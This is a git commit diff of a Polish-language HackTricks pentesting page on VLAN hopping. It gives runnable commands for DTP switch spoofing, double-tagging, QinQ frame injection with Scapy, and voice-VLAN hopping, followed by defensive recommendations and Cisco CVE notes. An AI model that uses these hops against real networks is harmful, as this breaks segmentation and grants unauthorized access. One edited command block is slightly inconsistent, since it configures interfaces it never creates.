mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
815da4810c
commit
48f2003abc
@ -10,7 +10,7 @@ Początkowo konieczne jest zidentyfikowanie konkretnego podłączonego portu. Za
|
|||||||
```
|
```
|
||||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||||
```
|
```
|
||||||
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów oraz określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
|
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
|
||||||
```
|
```
|
||||||
SW1# show vlan brief
|
SW1# show vlan brief
|
||||||
```
|
```
|
||||||
@ -24,6 +24,7 @@ Przełączenie na tryb trunk spowoduje tymczasowe zakłócenie łączności, ale
|
|||||||
|
|
||||||
Następnie tworzone są wirtualne interfejsy, przypisywane są identyfikatory VLAN i aktywowane:
|
Następnie tworzone są wirtualne interfejsy, przypisywane są identyfikatory VLAN i aktywowane:
|
||||||
```bash
|
```bash
|
||||||
|
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||||
sudo vconfig add eth0 10
|
sudo vconfig add eth0 10
|
||||||
sudo vconfig add eth0 20
|
sudo vconfig add eth0 20
|
||||||
sudo vconfig add eth0 50
|
sudo vconfig add eth0 50
|
||||||
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
|
|||||||
sudo ifconfig eth0.20 up
|
sudo ifconfig eth0.20 up
|
||||||
sudo ifconfig eth0.50 up
|
sudo ifconfig eth0.50 up
|
||||||
sudo ifconfig eth0.60 up
|
sudo ifconfig eth0.60 up
|
||||||
|
|
||||||
|
# Modern (ip-link – preferred)
|
||||||
|
sudo modprobe 8021q
|
||||||
|
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||||
|
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||||
|
sudo ip link set eth0.10 up
|
||||||
|
sudo ip link set eth0.20 up
|
||||||
|
sudo dhclient -v eth0.50
|
||||||
|
sudo dhclient -v eth0.60
|
||||||
```
|
```
|
||||||
Następnie żądanie adresu jest wysyłane za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
|
Następnie żądanie adresu jest wysyłane za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
|
||||||
```bash
|
```bash
|
||||||
sudo dhclient -v eth0.10
|
sudo dhclient -v eth0.10
|
||||||
sudo dhclient -v eth0.20
|
sudo dhclient -v eth0.20
|
||||||
sudo dhclient -v eth0.50
|
|
||||||
sudo dhclient -v eth0.60
|
|
||||||
```
|
```
|
||||||
Przykład ręcznego ustawiania statycznego adresu IP na interfejsie (VLAN 10):
|
Przykład ręcznego ustawiania statycznego adresu IP na interfejsie (VLAN 10):
|
||||||
```bash
|
```bash
|
||||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||||
|
# or
|
||||||
|
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||||
```
|
```
|
||||||
Łączność jest testowana poprzez inicjowanie żądań ICMP do domowych bramek dla VLAN-ów 10, 20, 50 i 60.
|
Łączność jest testowana poprzez inicjowanie żądań ICMP do domowych bramek dla VLAN-ów 10, 20, 50 i 60.
|
||||||
|
|
||||||
@ -61,22 +71,29 @@ Przełączniki Cisco, które mają włączony DTP, chętnie negocjują trunk, je
|
|||||||
*Yersinia* i kilka PoC automatyzują ten proces:
|
*Yersinia* i kilka PoC automatyzują ten proces:
|
||||||
```bash
|
```bash
|
||||||
# Become a trunk using Yersinia (GUI)
|
# Become a trunk using Yersinia (GUI)
|
||||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||||
|
|
||||||
# Python PoC (dtp-spoof)
|
# Python PoC (dtp-spoof)
|
||||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||||
```
|
```
|
||||||
Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*:
|
Recon helper (pasywne identyfikowanie stanu DTP portu):
|
||||||
```bash
|
```bash
|
||||||
sudo modprobe 8021q
|
sudo modprobe 8021q
|
||||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||||
sudo ip link set eth0.30 up
|
sudo ip link set eth0.30 up
|
||||||
```
|
|
||||||
### 2. Double-Tagging (Native-VLAN Abuse)
|
|
||||||
|
|
||||||
Jeśli atakujący znajduje się w **native (untagged) VLAN**, stworzona ramka z *dwoma* nagłówkami 802.1Q może "przeskoczyć" do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak **VLANPWN DoubleTagging.py** (odświeżenie 2022-2024) automatyzują wstrzykiwanie:
|
# or
|
||||||
|
|
||||||
|
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||||
|
sudo python3 dtpscan.py -i eth0
|
||||||
|
```
|
||||||
|
Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji.
|
||||||
|
|
||||||
|
### 2. Double-Tagging (Nadużycie Native-VLAN)
|
||||||
|
|
||||||
|
Jeśli atakujący znajduje się na **native (untagged) VLAN**, skonstruowana ramka z *dwoma* nagłówkami 802.1Q może przeskoczyć do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak **VLANPWN DoubleTagging.py** (odświeżenie 2022-2025) automatyzują wstrzykiwanie:
|
||||||
```bash
|
```bash
|
||||||
python3 DoubleTagging.py \
|
python3 DoubleTagging.py \
|
||||||
--interface eth0 \
|
--interface eth0 \
|
||||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
|||||||
--victim 10.10.20.24 \
|
--victim 10.10.20.24 \
|
||||||
--attacker 10.10.1.54
|
--attacker 10.10.1.54
|
||||||
```
|
```
|
||||||
Przechodzenie pakietów:
|
|
||||||
1. Zewnętrzny tag (1) jest usuwany przez pierwszy switch, ponieważ pasuje do natywnego VLAN.
|
|
||||||
2. Wewnętrzny tag (20) jest teraz odsłonięty; ramka jest przesyłana na trunk w kierunku VLAN 20.
|
|
||||||
|
|
||||||
Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez tagów.
|
|
||||||
|
|
||||||
### 3. QinQ (802.1ad) Stacking
|
### 3. QinQ (802.1ad) Stacking
|
||||||
|
|
||||||
Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzny tag za pomocą Scapy:
|
Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla ethertype `0x88a8` i spróbuj usunąć zewnętrzny tag za pomocą Scapy:
|
||||||
```python
|
```python
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
outer = 100 # Service tag
|
outer = 100 # Service tag
|
||||||
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
|||||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||||
sendp(frame, iface="eth0")
|
sendp(frame, iface="eth0")
|
||||||
```
|
```
|
||||||
|
### 4. Przechwytywanie Voice-VLAN za pomocą LLDP/CDP (Fałszowanie IP-Phone)
|
||||||
|
|
||||||
|
Porty dostępu w firmach często znajdują się w konfiguracji *„dostęp + głos”*: nieoznakowany VLAN danych dla stacji roboczej i oznakowany VLAN głosowy ogłaszany przez CDP lub LLDP-MED. Poprzez podszywanie się pod telefon IP, atakujący może automatycznie odkryć i przejść do VLAN VoIP — nawet gdy DTP jest wyłączone.
|
||||||
|
|
||||||
|
*VoIP Hopper* (zapakowany w Kali 2025.2) obsługuje CDP, opcje DHCP **176/242** oraz pełne fałszowanie LLDP-MED:
|
||||||
|
```bash
|
||||||
|
# One-shot discovery & hop
|
||||||
|
sudo voiphopper -i eth0 -f cisco-7940
|
||||||
|
|
||||||
|
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||||
|
sudo voiphopper -i eth0 -z
|
||||||
|
|
||||||
|
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||||
|
```
|
||||||
|
Technika ta omija separację danych/głosu i jest niezwykle powszechna w przełącznikach brzegowych przedsiębiorstw w 2025 roku, ponieważ auto-polityka LLDP jest domyślnie włączona w wielu modelach.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Rekomendacje obronne
|
## Rekomendacje obronne
|
||||||
|
|
||||||
1. Wyłącz DTP na wszystkich portach skierowanych do użytkowników: `switchport mode access` + `switchport nonegotiate`.
|
1. Wyłącz DTP na wszystkich portach skierowanych do użytkowników: `switchport mode access` + `switchport nonegotiate`.
|
||||||
2. Zmień natywny VLAN na każdym trunku na **niewykorzystany, czarny VLAN** i oznacz go: `vlan dot1q tag native`.
|
2. Zmień natywny VLAN na każdym trunku na **niewykorzystany, czarny VLAN** i oznacz go: `vlan dot1q tag native`.
|
||||||
3. Prune'uj niepotrzebne VLANy na trunkach: `switchport trunk allowed vlan 10,20`.
|
3. Przytnij niepotrzebne VLANy na trunkach: `switchport trunk allowed vlan 10,20`.
|
||||||
4. Wymuś bezpieczeństwo portów, DHCP snooping i dynamiczną inspekcję ARP, aby ograniczyć nieautoryzowaną aktywność warstwy 2.
|
4. Wprowadź zabezpieczenia portów, DHCP snooping, dynamiczną inspekcję ARP **i 802.1X**, aby ograniczyć nieautoryzowaną aktywność warstwy 2.
|
||||||
5. Preferuj private-VLANs lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q.
|
5. Wyłącz polityki automatycznego głosu LLDP-MED (lub zablokuj je do uwierzytelnionych MAC OUI), jeśli spoofing telefonów IP nie jest wymagany.
|
||||||
|
6. Preferuj prywatne VLANy lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Odniesienia
|
## Wrażliwości dostawców w rzeczywistym świecie (2022-2024)
|
||||||
|
|
||||||
|
Nawet idealnie zabezpieczona konfiguracja przełącznika może być podważona przez błędy oprogramowania układowego. Ostatnie przykłady obejmują:
|
||||||
|
|
||||||
|
* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** pozwalają na wstrzykiwanie z natywnego VLAN do nienatywnych VLANów WLAN, omijając segmentację przewodową/bezwładną.
|
||||||
|
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** pozwala na obejście ACL na SVI po przełączeniu protokołu Ethernet Resilient, wyciekając ruch między VRF/VLAN. Łatka 17.9.5 lub nowsza.
|
||||||
|
|
||||||
|
Zawsze monitoruj zalecenia dostawcy dotyczące problemów z omijaniem/ACL związanych z VLAN i utrzymuj aktualne obrazy infrastruktury.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Odnośniki
|
||||||
|
|
||||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||||
- Twingate "Czym jest VLAN Hopping?" (sierpień 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
- Twingate "What is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||||
|
- VoIP Hopper project – <https://github.com/hmgh0st/voiphopper>
|
||||||
|
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user